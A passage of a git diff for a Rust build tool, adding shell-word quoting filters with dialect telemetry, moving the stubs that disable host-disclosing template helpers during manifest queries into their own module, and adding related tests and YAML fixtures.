DIALECT_VALUES.contains(&dialect), + "dialect telemetry must use a closed dialect vocabulary" + ); + debug_assert!( + DIALECT_SOURCE_VALUES.contains(&source), + "dialect telemetry must use a closed source vocabulary" + ); + counter!(SHELL_QUOTE_DIALECT_TOTAL, "dialect" => dialect, "source" => source).increment(1); + value +} + +#[cfg(test)] +mod tests { + //! The two vocabularies are claims about what the encoder can produce. + //! + //! Each is declared here as a literal array rather than derived from + //! [`ShellDialect::ALL`](crate::shell_word::ShellDialect), because the + //! recorder imports them as `'static` constants and cannot ask a match arm + //! for a slice at compile time. That independence is the hazard: adding a + //! dialect would leave a name unlabelled and the counter silently short. + //! The tests below close it from both ends. + use super::{ + DIALECT_POWERSHELL, DIALECT_SH, DIALECT_SOURCE_VALUES, DIALECT_VALUES, SOURCE_DEFAULT, + SOURCE_EXPLICIT, + }; + use crate::shell_word::ShellDialect; + use rstest::rstest; + + /// Every dialect the encoder can produce has a label, in the same order. + /// + /// Order matters as well as membership: the recorder admits these values by + /// `contains`, but a reader comparing the two lists expects them aligned. + #[rstest] + fn the_label_set_matches_the_dialect_set() { + let labelled: Vec<_> = DIALECT_VALUES.to_vec(); + let encodable: Vec<_> = ShellDialect::ALL + .iter() + .map(|dialect| dialect.telemetry_name()) + .collect(); + assert_eq!(labelled, encodable); + } + + /// The two vocabularies are disjoint and internally distinct. + /// + /// A duplicate would not widen the admitted space, but it would make the + /// debug assertion in `record_dialect` unable to distinguish two call sites + /// that a reader expects to separate. + #[rstest] + fn each_vocabulary_is_distinct() { + for values in [DIALECT_VALUES.as_slice(), DIALECT_SOURCE_VALUES.as_slice()] { + let unique: std::collections::BTreeSet<_> = values.iter().collect(); + assert_eq!(unique.len(), values.len(), "duplicate label in {values:?}"); + } + } + + /// Each documented label value is one the filter can actually emit. + #[rstest] + fn every_source_label_is_reachable() { + assert_eq!( + DIALECT_SOURCE_VALUES, + [SOURCE_EXPLICIT, SOURCE_DEFAULT], + "resolve_dialect emits exactly these two sources" + ); + assert_eq!( + DIALECT_VALUES, + [DIALECT_SH, DIALECT_POWERSHELL], + "resolve_dialect emits exactly these two dialects" + ); + } +} diff --git a/src/stdlib/recipe_text/mod.rs b/src/stdlib/recipe_text/mod.rs new file mode 100644 index 000000000..a1dcda1b8 --- /dev/null +++ b/src/stdlib/recipe_text/mod.rs @@ -0,0 +1,236 @@ +//! Pure recipe-text filters: `shell_quote` and `shell_join`. +//! +//! Both encode template values as shell words for a named dialect, so a recipe +//! can carry an argument containing spaces, quotes, or metacharacters without +//! the author hand-rolling escaping. They are *pure* given a dialect: the only +//! host-dependent input is the default dialect, which is resolved once at +//! registration and disclosed by D6 rather than read per call. +//! +//! The encoding itself lives in [`crate::shell_word`], which is also what IR +//! lowering and Ninja rendering use. This module is the template-facing +//! adapter: it validates arguments, resolves the dialect, and hands the word to +//! that one implementation, so constraint 4's "exactly one implementation" has +//! a single call site to guard. + +use minijinja::{ + Environment, Error, ErrorKind, + value::{Kwargs, Rest, Value, ValueKind}, +}; + +use crate::localization::{self, keys}; +use crate::shell_word::{self, ShellDialect}; + +mod dialect_telemetry; + +pub use dialect_telemetry::{DIALECT_SOURCE_VALUES, DIALECT_VALUES, SHELL_QUOTE_DIALECT_TOTAL}; + +/// Register the pure recipe-text filters on an environment. +/// +/// `default` is the dialect used when a call omits its `dialect` keyword +/// argument. It is resolved once by the caller, not per call, so a render +/// cannot observe two different defaults. +pub(crate) fn register_filters(env: &mut Environment<'_>, default: ShellDialect) { + env.add_filter( + "shell_quote", + move |value: Value, rest: Rest, kwargs: Kwargs| { + quote_for_recipe(default, &value, &rest, &kwargs) + }, + ); + env.add_filter( + "shell_join", + move |value: Value, rest: Rest, kwargs: Kwargs| { + join_for_recipe(default, &value, &rest, &kwargs) + }, + ); +} + +/// Encode one value as a single shell word. +/// +/// The subject must be a string. `MiniJinja`'s `String` argument type would +/// stringify a number or a mapping instead, silently quoting the *rendering* of +/// a value the author meant literally — see D4. +fn quote_for_recipe( + default: ShellDialect, + value: &Value, + rest: &Rest, + kwargs: &Kwargs, +) -> Result { + reject_positional("shell_quote", rest)?; + let dialect = resolve_dialect(default, kwargs)?; + kwargs.assert_all_used()?; + let text = subject_as_str("shell_quote", value, keys::STDLIB_SHELL_QUOTE_NOT_STRING)?; + encode_one(dialect, text) +} + +/// Encode every member of a sequence as its own shell word. +/// +/// The members are joined with a single space, so the result is one shell word +/// per member and the shell re-splits it into exactly the original sequence. +fn join_for_recipe( + default: ShellDialect, + value: &Value, + rest: &Rest, + kwargs: &Kwargs, +) -> Result { + reject_positional("shell_join", rest)?; + let dialect = resolve_dialect(default, kwargs)?; + kwargs.assert_all_used()?; + let kind = value.kind(); + if !matches!(kind, ValueKind::Seq | ValueKind::Iterable) { + return Err(args_error( + localization::message(keys::STDLIB_SHELL_JOIN_NOT_SEQUENCE) + .with_arg("kind", kind.to_string()), + )); + } + + let items = value.try_iter()?; + let mut encoded = Vec::new(); + for (index, item) in items.enumerate() { + let Some(text) = item.as_str() else { + return Err(args_error( + localization::message(keys::STDLIB_SHELL_JOIN_ITEM_NOT_STRING) + .with_arg("index", index.to_string()) + .with_arg("kind", item.kind().to_string()), + )); + }; + encoded.push(encode_one(dialect, text)?); + } + Ok(encoded.join(" ")) +} + +/// Encode one admissible string, naming the offending call site on failure. +fn encode_one(dialect: ShellDialect, text: &str) -> Result { + if !shell_word::is_recipe_admissible(text) { + return Err(unquotable_error()); + } + Ok(shell_word::quote_word(dialect, text)) +} + +/// Resolve the `dialect` keyword argument, falling back to the registration +/// default. +/// +/// Read as `Option` and type-checked rather than as `Option`: +/// `MiniJinja`'s `String` argument type converts a number or a boolean with +/// `to_string`, so `dialect=3` would silently become the dialect named `"3"` +/// and fail as merely unknown rather than as the wrong type (D4). +/// +/// The non-string case gets its own diagnostic rather than being folded into +/// [`dialect_invalid_error`]. Reporting `dialect=3` as an *unknown dialect* +/// would be true but misleading: nothing called `3` was ever a dialect name, +/// and the reader needs to know the argument's type is wrong, not that the +/// name is absent from the accepted set. +fn resolve_dialect(default: ShellDialect, kwargs: &Kwargs) -> Result { + let Some(value) = kwargs.get::>("dialect")? else { + // The omitted-dialect population is the one this counter exists to + // make visible: its rendered text is host-dependent and unstable. + return Ok(dialect_telemetry::record_dialect( + default.telemetry_name(), + dialect_telemetry::SOURCE_DEFAULT, + default, + )); + }; + let Some(raw) = value.as_str() else { + return Err(dialect_not_string_error(value.kind())); + }; + ShellDialect::parse(raw) + .map(|dialect| { + dialect_telemetry::record_dialect( + dialect.telemetry_name(), + dialect_telemetry::SOURCE_EXPLICIT, + dialect, + ) + }) + .ok_or_else(|| dialect_invalid_error(&value)) +} + +/// Report a `dialect` argument that is not a string at all. +/// +/// Separate from [`dialect_invalid_error`] so the diagnostic names the +/// received kind: a non-string never reaches the accepted-name list, and +/// telling the reader it is "unknown" would send them to check spelling. +fn dialect_not_string_error(kind: ValueKind) -> Error { + args_error( + localization::message(keys::STDLIB_SHELL_DIALECT_NOT_STRING) + .with_arg("kind", kind.to_string()), + ) +} + +/// Report the rejected `dialect` value and enumerate every accepted name. +fn dialect_invalid_error(value: &Value) -> Error { + args_error( + localization::message(keys::STDLIB_SHELL_DIALECT_INVALID) + .with_arg("dialect", value.to_string()) + .with_arg("accepted", accepted_dialects()), + ) +} + +/// Return every dialect name, in the order errors enumerate them. +fn accepted_dialects() -> String { + ShellDialect::ALL + .iter() + .map(|dialect| dialect.as_str()) + .collect::>() + .join(", ") +} + +/// Reject a positional argument, which `MiniJinja` would otherwise report with a +/// bare `TooManyArguments` carrying no machine-readable code. +/// +/// `dialect` is the only option either filter takes, and it is keyword-only so +/// a call site reads as self-describing. The `Rest` parameter exists +/// solely to observe the leftover positional here: without it `MiniJinja` raises +/// during argument binding, before the filter body can attach D9's code, and +/// the diagnostic loses the `[netsuke::jinja::shell::args]` prefix that the +/// localized catalogues assert on. +fn reject_positional(filter: &str, rest: &Rest) -> Result<(), Error> { + if rest.is_empty() { + return Ok(()); + } + let example = format!("{filter}(dialect='{}')", ShellDialect::Sh.as_str()); + Err(args_error( + localization::message(keys::STDLIB_SHELL_POSITIONAL_OPTION) + .with_arg("filter", filter) + .with_arg("example", example), + )) +} + +/// Read a filter subject as a string, naming the received kind otherwise. +/// +/// `message_key` selects the filter's own wording; both variants exist so the +/// diagnostic names the filter the author actually wrote. +fn subject_as_str<'v>( + filter: &str, + value: &'v Value, + message_key: &'static str, +) -> Result<&'v str, Error> { + value.as_str().ok_or_else(|| { + args_error( + localization::message(message_key) + .with_arg("filter", filter) + .with_arg("kind", value.kind().to_string()), + ) + }) +} + +/// Build the localized `args_error` wrapper around one detail message. +fn args_error(detail: impl std::fmt::Display) -> Error { + Error::new( + ErrorKind::InvalidOperation, + localization::message(keys::STDLIB_SHELL_ARGS_ERROR) + .with_arg("details", detail.to_string()) + .to_string(), + ) +} + +/// Build the localized `unquotable` error wrapping the control-character rule. +fn unquotable_error() -> Error { + Error::new( + ErrorKind::InvalidOperation, + localization::message(keys::STDLIB_SHELL_UNQUOTABLE) + .with_arg( + "details", + localization::message(keys::STDLIB_SHELL_QUOTE_CONTROL_CHARACTER).to_string(), + ) + .to_string(), + ) +} diff --git a/src/stdlib/register.rs b/src/stdlib/register.rs index f56660556..75784175c 100644 --- a/src/stdlib/register.rs +++ b/src/stdlib/register.rs @@ -7,7 +7,7 @@ //! alongside `StdlibConfig` and `NetworkConfig`. use super::{ - StdlibConfig, StdlibState, collections, command, network, path, time, + StdlibConfig, StdlibState, collections, command, network, path, recipe_text, time, which::{self, WhichConfig, WorkspaceSkipList}, }; use anyhow::Context; @@ -16,19 +16,30 @@ use camino::Utf8Path; use cap_std::fs::FileTypeExt; use cap_std::{ambient_authority, fs, fs_utf8::Dir}; use minijinja::{ - Environment, Error, ErrorKind, State, escape_formatter, - value::{Kwargs, Value, ValueKind}, + Environment, Error, escape_formatter, + value::{Value, ValueKind}, }; use std::sync::Arc; use crate::localization::{self, keys}; +use crate::recipe_shell::RecipeShell; + +#[path = "register/query_helpers.rs"] +mod query_helpers; +pub(crate) use query_helpers::is_manifest_query_disabled_error; +use query_helpers::register_disabled_query_helpers; /// A template file test: a registration name paired with a capability file /// type predicate. type FileTest = (&'static str, fn(fs::FileType) -> bool); /// Stable text identifying helpers deliberately unavailable to manifest queries. -const MANIFEST_QUERY_DISABLED_HELPER_MARKER: &str = concat!( +/// +/// Shared with the [`query_helpers`] child, which appends it to every +/// deliberate failure and matches on it to recognize one. It stays declared +/// here, in the parent, so both the child and this module's own consumers name +/// the same constant. +pub(super) const MANIFEST_QUERY_DISABLED_HELPER_MARKER: &str = concat!( "is disabled while rendering `netsuke help targets`; manifest queries permit ", "only non-disclosing, side-effect-free template helpers" ); @@ -158,6 +169,7 @@ fn register_read_only_helpers(env: &mut Environment<'_>, config: &StdlibConfig) config.file_max_read_bytes(), ); collections::register_filters(env); + recipe_text::register_filters(env, config.dialect()); let which_cache_capacity = config.which_cache_capacity(); let which_skip_dirs = WorkspaceSkipList::from_names(config.workspace_skip_dirs()); let which_cwd = config @@ -171,120 +183,20 @@ fn register_read_only_helpers(env: &mut Environment<'_>, config: &StdlibConfig) } /// Register the allowlisted helpers for manifest discovery queries. +/// +/// The recipe-text filters quote for [`RecipeShell::host_default`] rather than +/// for the shell the build will resolve. **This divergence is deliberate.** A +/// query renders discovery metadata that is never executed, and reading the +/// configured shell here would mean resolving `NETSUKE_WINDOWS_SHELL` above the +/// early return in `src/runner/mod.rs`, which would make `netsuke help targets` +/// fail outright on a host whose shell setting is malformed. Rendering +/// different quoting from the build for the same expression is the lesser +/// trade; `tests/stdlib_manifest_query_tests.rs` pins it so it stays a decision +/// rather than a surprise. fn register_query_helpers(env: &mut Environment<'_>) { path::register_query_filters(env); collections::register_filters(env); -} - -/// Register deliberate failures for helpers excluded from manifest queries. -fn register_disabled_query_helpers(env: &mut Environment<'_>) { - register_always_disabled_query_helpers(env); - register_host_dependent_query_helpers(env); -} - -/// Register helpers that are never safe while rendering discovery metadata. -fn register_always_disabled_query_helpers(env: &mut Environment<'_>) { - env.add_function("env", |_variable: String| -> Result { - Err(manifest_query_operation_error("env")) - }); - env.add_function("glob", |_pattern: String| -> Result { - Err(manifest_query_operation_error("glob")) - }); - env.add_function( - "fetch", - |_url: String, _kwargs: Kwargs| -> Result { - Err(manifest_query_operation_error("fetch")) - }, - ); - env.add_filter( - "shell", - |_state: &State, - _value: Value, - _command: String, - _options: Option| - -> Result { Err(manifest_query_operation_error("shell")) }, - ); - env.add_filter( - "grep", - |_state: &State, - _value: Value, - _pattern: String, - _flags: Option, - _options: Option| - -> Result { Err(manifest_query_operation_error("grep")) }, - ); - env.add_filter( - "contents", - |_value: String, _encoding: Option| -> Result { - Err(manifest_query_operation_error("contents")) - }, - ); -} - -/// Register helpers whose result would disclose host state during a query. -fn register_host_dependent_query_helpers(env: &mut Environment<'_>) { - env.add_filter( - "which", - |_value: Value, _kwargs: Kwargs| -> Result { - Err(manifest_query_operation_error("which")) - }, - ); - env.add_function( - "which", - |_value: Value, _kwargs: Kwargs| -> Result { - Err(manifest_query_operation_error("which")) - }, - ); - env.add_function( - "command_available", - |_value: Value, _kwargs: Kwargs| -> Result { - Err(manifest_query_operation_error("command_available")) - }, - ); - env.add_function("now", |_kwargs: Kwargs| -> Result { - Err(manifest_query_operation_error("now")) - }); - env.add_filter("realpath", |_value: String| -> Result { - Err(manifest_query_operation_error("realpath")) - }); - env.add_filter("expanduser", |_value: String| -> Result { - Err(manifest_query_operation_error("expanduser")) - }); - env.add_filter("size", |_value: String| -> Result { - Err(manifest_query_operation_error("size")) - }); - env.add_filter("linecount", |_value: String| -> Result { - Err(manifest_query_operation_error("linecount")) - }); - env.add_filter( - "hash", - |_value: String, _algorithm: Option| -> Result { - Err(manifest_query_operation_error("hash")) - }, - ); - env.add_filter( - "digest", - |_value: String, - _length: Option, - _algorithm: Option| - -> Result { Err(manifest_query_operation_error("digest")) }, - ); -} - -/// Explain why a restricted helper is unavailable while querying a manifest. -fn manifest_query_operation_error(operation: &str) -> Error { - Error::new( - ErrorKind::InvalidOperation, - format!("{operation} {MANIFEST_QUERY_DISABLED_HELPER_MARKER}"), - ) -} - -/// Return whether an error marks a helper intentionally unavailable in queries. -pub(crate) fn is_manifest_query_disabled_error(error: &Error) -> bool { - error.kind() == ErrorKind::InvalidOperation - && error - .to_string() - .contains(MANIFEST_QUERY_DISABLED_HELPER_MARKER) + recipe_text::register_filters(env, RecipeShell::host_default().dialect()); } /// Convert UTF-8 or fall back to bytes for byte-oriented network helpers. @@ -297,6 +209,11 @@ pub fn value_from_bytes(bytes: Vec) -> Value { } /// The file tests registered as template tests on Unix. +/// +/// Shared with the [`query_helpers`] child, which registers the same names as +/// deliberate failures. Keeping one list means a file test added here cannot +/// reach the build surface while staying silently unregistered — and therefore +/// merely "unknown" — on the query surface. #[cfg(unix)] const FILE_TESTS: &[FileTest] = &[ ("dir", is_dir), diff --git a/src/stdlib/register/query_helpers.rs b/src/stdlib/register/query_helpers.rs new file mode 100644 index 000000000..4541496a8 --- /dev/null +++ b/src/stdlib/register/query_helpers.rs @@ -0,0 +1,151 @@ +//! Deliberate failures for helpers excluded from manifest queries. +//! +//! Manifest discovery renders `netsuke help targets`, which must not disclose +//! host state or perform side effects. Every helper that is legitimate at build +//! time but unsafe to evaluate while discovering is registered here as a stub +//! that fails with a recognizable marker, so the failure is a clear diagnostic +//! rather than an undefined-function error. +//! +//! This is a `#[path]`-declared child of `register.rs` rather than an inline +//! module: the parent sits at AGENTS.md's 400-line cap, and the query-disabled +//! cluster is the natural seam because it shares one vocabulary — the marker +//! constant, the error constructor that appends it, and the two registration +//! functions that raise it — and nothing else in the parent refers to any of +//! them. + +use super::{FILE_TESTS, MANIFEST_QUERY_DISABLED_HELPER_MARKER}; +use minijinja::{ + Environment, Error, ErrorKind, State, + value::{Kwargs, Value}, +}; + +/// Register deliberate failures for helpers excluded from manifest queries. +pub(super) fn register_disabled_query_helpers(env: &mut Environment<'_>) { + register_always_disabled_query_helpers(env); + register_host_dependent_query_helpers(env); +} + +/// Register helpers that are never safe while rendering discovery metadata. +fn register_always_disabled_query_helpers(env: &mut Environment<'_>) { + register_file_test_stubs(env); + env.add_function( + "env", + |_variable: String, _kwargs: Kwargs| -> Result { + Err(manifest_query_operation_error("env")) + }, + ); + env.add_function("glob", |_pattern: String| -> Result { + Err(manifest_query_operation_error("glob")) + }); + env.add_function( + "fetch", + |_url: String, _kwargs: Kwargs| -> Result { + Err(manifest_query_operation_error("fetch")) + }, + ); + env.add_filter( + "shell", + |_state: &State, + _value: Value, + _command: String, + _options: Option| + -> Result { Err(manifest_query_operation_error("shell")) }, + ); + env.add_filter( + "grep", + |_state: &State, + _value: Value, + _pattern: String, + _flags: Option, + _options: Option| + -> Result { Err(manifest_query_operation_error("grep")) }, + ); + env.add_filter( + "contents", + |_value: String, _encoding: Option| -> Result { + Err(manifest_query_operation_error("contents")) + }, + ); +} + +/// Register deliberate failures for the `is ` file tests. +/// +/// Each test stats the path it is given, so it discloses host state and is +/// unavailable to a discovery query. Registering the stubs from the parent's +/// own [`FILE_TESTS`] list, rather than retyping the names, keeps this stub set +/// exactly as wide as the real one: a file test that reaches the build surface +/// without a stub here would otherwise fail as merely "unknown", which a +/// name-only assertion cannot tell apart from a deliberate rejection. +fn register_file_test_stubs(env: &mut Environment<'_>) { + for &(name, _) in FILE_TESTS { + env.add_test(name, move |_value: Value| -> Result { + Err(manifest_query_operation_error(name)) + }); + } +} + +/// Register helpers whose result would disclose host state during a query. +fn register_host_dependent_query_helpers(env: &mut Environment<'_>) { + env.add_filter( + "which", + |_value: Value, _kwargs: Kwargs| -> Result { + Err(manifest_query_operation_error("which")) + }, + ); + env.add_function( + "which", + |_value: Value, _kwargs: Kwargs| -> Result { + Err(manifest_query_operation_error("which")) + }, + ); + env.add_function( + "command_available", + |_value: Value, _kwargs: Kwargs| -> Result { + Err(manifest_query_operation_error("command_available")) + }, + ); + env.add_function("now", |_kwargs: Kwargs| -> Result { + Err(manifest_query_operation_error("now")) + }); + env.add_filter("realpath", |_value: String| -> Result { + Err(manifest_query_operation_error("realpath")) + }); + env.add_filter("expanduser", |_value: String| -> Result { + Err(manifest_query_operation_error("expanduser")) + }); + env.add_filter("size", |_value: String| -> Result { + Err(manifest_query_operation_error("size")) + }); + env.add_filter("linecount", |_value: String| -> Result { + Err(manifest_query_operation_error("linecount")) + }); + env.add_filter( + "hash", + |_value: String, _algorithm: Option| -> Result { + Err(manifest_query_operation_error("hash")) + }, + ); + env.add_filter( + "digest", + |_value: String, + _length: Option, + _algorithm: Option| + -> Result { Err(manifest_query_operation_error("digest")) }, + ); +} + +/// Explain why a restricted helper is unavailable while querying a manifest. +pub(super) fn manifest_query_operation_error(operation: &str) -> Error { + Error::new( + ErrorKind::InvalidOperation, + format!("{operation} {MANIFEST_QUERY_DISABLED_HELPER_MARKER}"), + ) +} + +/// Return whether an error marks a helper intentionally unavailable in queries. +pub(crate) fn is_manifest_query_disabled_error(error: &Error) -> bool { + error.kind() == ErrorKind::InvalidOperation + && error + .to_string() + .contains(MANIFEST_QUERY_DISABLED_HELPER_MARKER) +} diff --git a/tests/bdd/steps/manifest/mod.rs b/tests/bdd/steps/manifest/mod.rs index 453423eeb..0098f5fd7 100644 --- a/tests/bdd/steps/manifest/mod.rs +++ b/tests/bdd/steps/manifest/mod.rs @@ -20,6 +20,7 @@ use environment::{expand_env, manifest_env_reader}; use netsuke::{ ast::{Recipe, StringOrList, Target}, manifest::{self, ManifestBudgetLimits}, + recipe_shell::RecipeShell, stdlib::NetworkPolicy, }; use rstest_bdd_macros::{given, then, when}; @@ -92,6 +93,7 @@ fn parse_manifest_inner(world: &TestWorld, path: &ManifestPath) { NetworkPolicy::default(), &environment, world.manifest_budget_limits.get().unwrap_or_default(), + RecipeShell::host_default(), None, ) .map_err(|e| display_error_chain(e.as_ref())); diff --git a/tests/data/jinja_env_default.yml b/tests/data/jinja_env_default.yml new file mode 100644 index 000000000..6d3d0ba9e --- /dev/null +++ b/tests/data/jinja_env_default.yml @@ -0,0 +1,4 @@ +netsuke_version: "1.0.0" +targets: + - name: hello + command: "echo {{ env('NETSUKE_UNDEFINED_ENV', default='fallback') }}" diff --git a/tests/data/jinja_env_default_non_string.yml b/tests/data/jinja_env_default_non_string.yml new file mode 100644 index 000000000..21f96ee40 --- /dev/null +++ b/tests/data/jinja_env_default_non_string.yml @@ -0,0 +1,4 @@ +netsuke_version: "1.0.0" +targets: + - name: hello + command: "echo {{ env('NETSUKE_TEST_ENV', default=['a']) }}" diff --git a/tests/data/jinja_env_present_with_default.yml b/tests/data/jinja_env_present_with_default.yml new file mode 100644 index 000000000..f9533388c --- /dev/null +++ b/tests/data/jinja_env_present_with_default.yml @@ -0,0 +1,4 @@ +netsuke_version: "1.0.0" +targets: + - name: hello + command: "echo {{ env('NETSUKE_TEST_ENV', default='fallback') }}" diff --git a/tests/documentation_examples_e2e_tests.rs b/tests/documentation_examples_e2e_tests.rs index 94f1f63b2..dd48b2f41 100644 --- a/tests/documentation_examples_e2e_tests.rs +++ b/tests/documentation_examples_e2e_tests.rs @@ -392,3 +392,42 @@ fn stdlib_host_context_example_uses_controlled_process_state() -> Result<()> { ); Ok(()) } + +/// The documented `RUSTFLAGS` example survives both environment states. +/// +/// The example's whole purpose is that an unset variable and a set one both +/// produce a recipe whose argument count does not change, so both states are +/// exercised here: the unset arm is the one a naive `join(' ')` would get wrong +/// by emitting an empty argument, and the set arm is the one that would be +/// word-split without the quoting. +#[rstest] +#[case::unset(None, "RUSTFLAGS=-D warnings\n")] +#[case::set( + Some("-C target-cpu=native --cfg 'a b'"), + "RUSTFLAGS=-D warnings -C target-cpu=native --cfg 'a b'\n" +)] +fn stdlib_optional_rustflags_example_pins_one_shell_word( + #[case] rustflags: Option<&str>, + #[case] expected: &str, +) -> Result<()> { + let Ok(_ninja_probe) = ninja_integration_workspace() else { + return Ok(()); + }; + let workspace = manifest_workspace("stdlib-optional-rustflags-manifest")?; + // Built the way `run_build` builds it, so the child can reach the host's + // Ninja, and then extended with the variable under test. + let path = host_executable_path()?; + let mut environment = vec![("NETSUKE_NINJA", "ninja"), ("PATH", path.as_str())]; + if let Some(value) = rustflags { + environment.push(("RUSTFLAGS", value)); + } + let run = run_netsuke_in_with_env(workspace.path(), &[], &environment)?; + assert_success(&run, "stdlib optional RUSTFLAGS example")?; + + let output = test_fs::read_to_string(workspace.path().join("rustflags.txt"))?; + ensure!( + output == expected, + "RUSTFLAGS {rustflags:?} rendered {output:?}, expected {expected:?}" + ); + Ok(()) +} diff --git a/tests/documentation_examples_tests.rs b/tests/documentation_examples_tests.rs index a3bfd2019..06e61a583 100644 --- a/tests/documentation_examples_tests.rs +++ b/tests/documentation_examples_tests.rs @@ -64,6 +64,7 @@ const EXPECTED_EXAMPLE_IDS: &[&str] = &[ "stdlib-file-tests-manifest", "stdlib-host-context-manifest", "stdlib-jinja-syntax-manifest", + "stdlib-optional-rustflags-manifest", "stdlib-path-and-collection-manifest", "stdlib-time-manifest", "stdlib-yaml-syntax-manifest", @@ -196,6 +197,7 @@ fn every_documented_fence_has_a_known_unique_identifier() -> Result<()> { #[case("guide-serial-dependency-order-manifest")] #[case("stdlib-yaml-syntax-manifest")] #[case("stdlib-jinja-syntax-manifest")] +#[case("stdlib-optional-rustflags-manifest")] fn documented_manifest_generates_ninja(#[case] example_id: &str) -> Result<()> { let workspace = manifest_workspace(example_id)?; let run = run_netsuke_in(workspace.path(), &["--progress", "never", "generate"])?; diff --git a/tests/features/manifest.feature b/tests/features/manifest.feature index 1285e8e4f..b28cabafa 100644 --- a/tests/features/manifest.feature +++ b/tests/features/manifest.feature @@ -111,6 +111,25 @@ Feature: Manifest Parsing When the parsing result is checked Then parsing the manifest fails + Scenario: An absent environment variable falls back to its default + Given the environment variable "NETSUKE_UNDEFINED_ENV" is unset + And the manifest file "tests/data/jinja_env_default.yml" is parsed + When the manifest is checked + Then the first target command is "echo fallback" + + Scenario: A present environment variable ignores its default + Given the environment variable "NETSUKE_TEST_ENV" is set to "world" + And the manifest file "tests/data/jinja_env_present_with_default.yml" is parsed + When the manifest is checked + Then the first target command is "echo world" + + Scenario: A non-string default is rejected rather than stringified + Given the environment variable "NETSUKE_TEST_ENV" is set to "world" + And the manifest file "tests/data/jinja_env_default_non_string.yml" is parsed + When the parsing result is checked + Then parsing the manifest fails + And the error message contains "netsuke::jinja::env::args" + Scenario: Parsing fails when a macro is missing its signature Given the manifest file "tests/data/jinja_macro_invalid.yml" is parsed When the parsing result is checked diff --git a/tests/features/stdlib.feature b/tests/features/stdlib.feature index 68017bf55..81eb7e156 100644 --- a/tests/features/stdlib.feature +++ b/tests/features/stdlib.feature @@ -60,6 +60,14 @@ Feature: Template stdlib filters When I render template "{{ [['a'], 'b'] | flatten }}" at stdlib path "file" Then the stdlib error contains "Flatten expected sequence items" + Scenario: compact drops empty strings and nulls but keeps falsy values + When I render template "{{ ['a', '', none, 0, false, 'b'] | compact | join(',') }}" at stdlib path "file" + Then the stdlib output equals "a,0,False,b" + + Scenario: compact reports errors for non-sequences + When I render template "{{ 'abc' | compact }}" at stdlib path "file" + Then the stdlib error contains "compact expects a sequence" + Scenario: group_by clusters items by attribute When I render template "{{ ([{'name': 'one', 'kind': 'tool'}, {'name': 'two', 'kind': 'tool'}, {'name': 'three', 'kind': 'material'}] | group_by('kind')).tool | length }}" at stdlib path "file" Then the stdlib output equals "2" @@ -232,3 +240,49 @@ Feature: Template stdlib filters When I render template "{{ fetch(url, cache=true, cache_dir='../cache') }}" with stdlib url Then the stdlib error contains "cache_dir" And the stdlib template is pure + + Scenario: compact drops empty and null members but keeps zero + When I render the stdlib template "{{ [0, '', none, 'x'] | compact | join(',') }}" without context + Then the stdlib output equals "0,x" + + Scenario: shell_quote makes a metacharacter-bearing value one sh word + When I render the stdlib template "{{ 'a b \'$HOME\'' | shell_quote(dialect='sh') }}" without context + Then the stdlib output equals "a' b '\''$HOME'\'" + + Scenario: shell_join quotes each element separately + When I render the stdlib template "{{ ['-C', 'target-cpu=native', 'a b'] | shell_join(dialect='sh') }}" without context + Then the stdlib output equals "-C target-cpu'=native' a' b'" + + Scenario: shell_quote rejects an unknown dialect and names the accepted set + When I render the stdlib template "{{ 'x' | shell_quote(dialect='bash') }}" without context + Then the stdlib error contains "netsuke::jinja::shell::args" + And the stdlib error contains "powershell" + + Scenario: shell_quote rejects a non-string dialect as a type error + When I render the stdlib template "{{ 'x' | shell_quote(dialect=3) }}" without context + Then the stdlib error contains "netsuke::jinja::shell::args" + And the stdlib error contains "must be a string" + And the stdlib error contains "number" + + Scenario: shell_join rejects a non-string dialect as a type error + When I render the stdlib template "{{ ['x'] | shell_join(dialect=true) }}" without context + Then the stdlib error contains "netsuke::jinja::shell::args" + And the stdlib error contains "must be a string" + And the stdlib error contains "bool" + + Scenario: shell_quote rejects a value containing a line feed + When I render the stdlib template "{{ 'a\nb' | shell_quote(dialect='sh') }}" without context + Then the stdlib error contains "netsuke::jinja::shell::unquotable" + + Scenario: shell filter errors keep their code when localised + Given the localisation locale is "es-ES" + When I render the stdlib template "{{ 'x' | shell_quote(dialect='bash') }}" without context + Then the stdlib error contains "netsuke::jinja::shell::args" + + Scenario: shell_join rejects a string subject rather than quoting its characters + When I render the stdlib template "{{ 'abc' | shell_join(dialect='sh') }}" without context + Then the stdlib error contains "netsuke::jinja::shell::args" + + Scenario: shell_quote rejects a positional dialect + When I render the stdlib template "{{ 'x' | shell_quote('sh') }}" without context + Then the stdlib error contains "netsuke::jinja::shell::args" diff --git a/tests/manifest_env_tests.rs b/tests/manifest_env_tests.rs index 917d7c971..f60c7e7ba 100644 --- a/tests/manifest_env_tests.rs +++ b/tests/manifest_env_tests.rs @@ -1,4 +1,9 @@ //! Tests for injected environment access through the manifest `env()` helper. +//! +//! The `default` keyword argument's own cases are split across +//! `tests/manifest_env_tests/` so no file exceeds the repository's 400-line +//! limit; this file keeps the shared rendering helpers, the access-policy +//! coverage, and the diagnostic snapshots. use anyhow::{Context, Result, anyhow, ensure}; use netsuke::{ @@ -66,14 +71,20 @@ fn allowlisted_lookup_resolves_successfully() -> Result<()> { } /// Assert that a denied lookup cannot reach or disclose an injected reader. +/// +/// `argument` is appended verbatim inside the `env(...)` call, so `""` +/// exercises the bare form and `", default='fallback'"` exercises the form +/// that must not become an access-policy bypass. The fallback text is checked +/// for leakage here for the same reason the value is: the diagnostic is +/// user-visible, so neither may appear in it. fn denied_lookup_is_value_and_name_free( policy: &EnvAccessPolicy, variable_name: &str, variable_value: &str, - failure_context: &str, + argument: &str, ) -> Result<()> { let yaml = manifest_yaml(&format!( - "targets:\n - name: hello\n command: \"echo {{{{ env('{variable_name}') }}}}\"\n" + "targets:\n - name: hello\n command: \"echo {{{{ env('{variable_name}'{argument}) }}}}\"\n" )); let reader_was_called = Arc::new(AtomicBool::new(false)); let invocation_recorder = Arc::clone(&reader_was_called); @@ -83,7 +94,7 @@ fn denied_lookup_is_value_and_name_free( Ok(reader_value.clone()) }); let Err(error) = manifest::from_str_with_env_and_policy(&yaml, &reader, policy) else { - return Err(anyhow!("{failure_context}")); + return Err(anyhow!("a denied environment variable must fail")); }; let diagnostic = format!("{error:#}"); ensure!(diagnostic.contains("Access to an environment variable is blocked.")); @@ -93,6 +104,10 @@ fn denied_lookup_is_value_and_name_free( ); ensure!(!diagnostic.contains(variable_name)); ensure!(!diagnostic.contains(variable_value)); + ensure!( + !diagnostic.contains("fallback"), + "the default must not appear in the diagnostic: {diagnostic}" + ); Ok(()) } @@ -102,7 +117,23 @@ fn 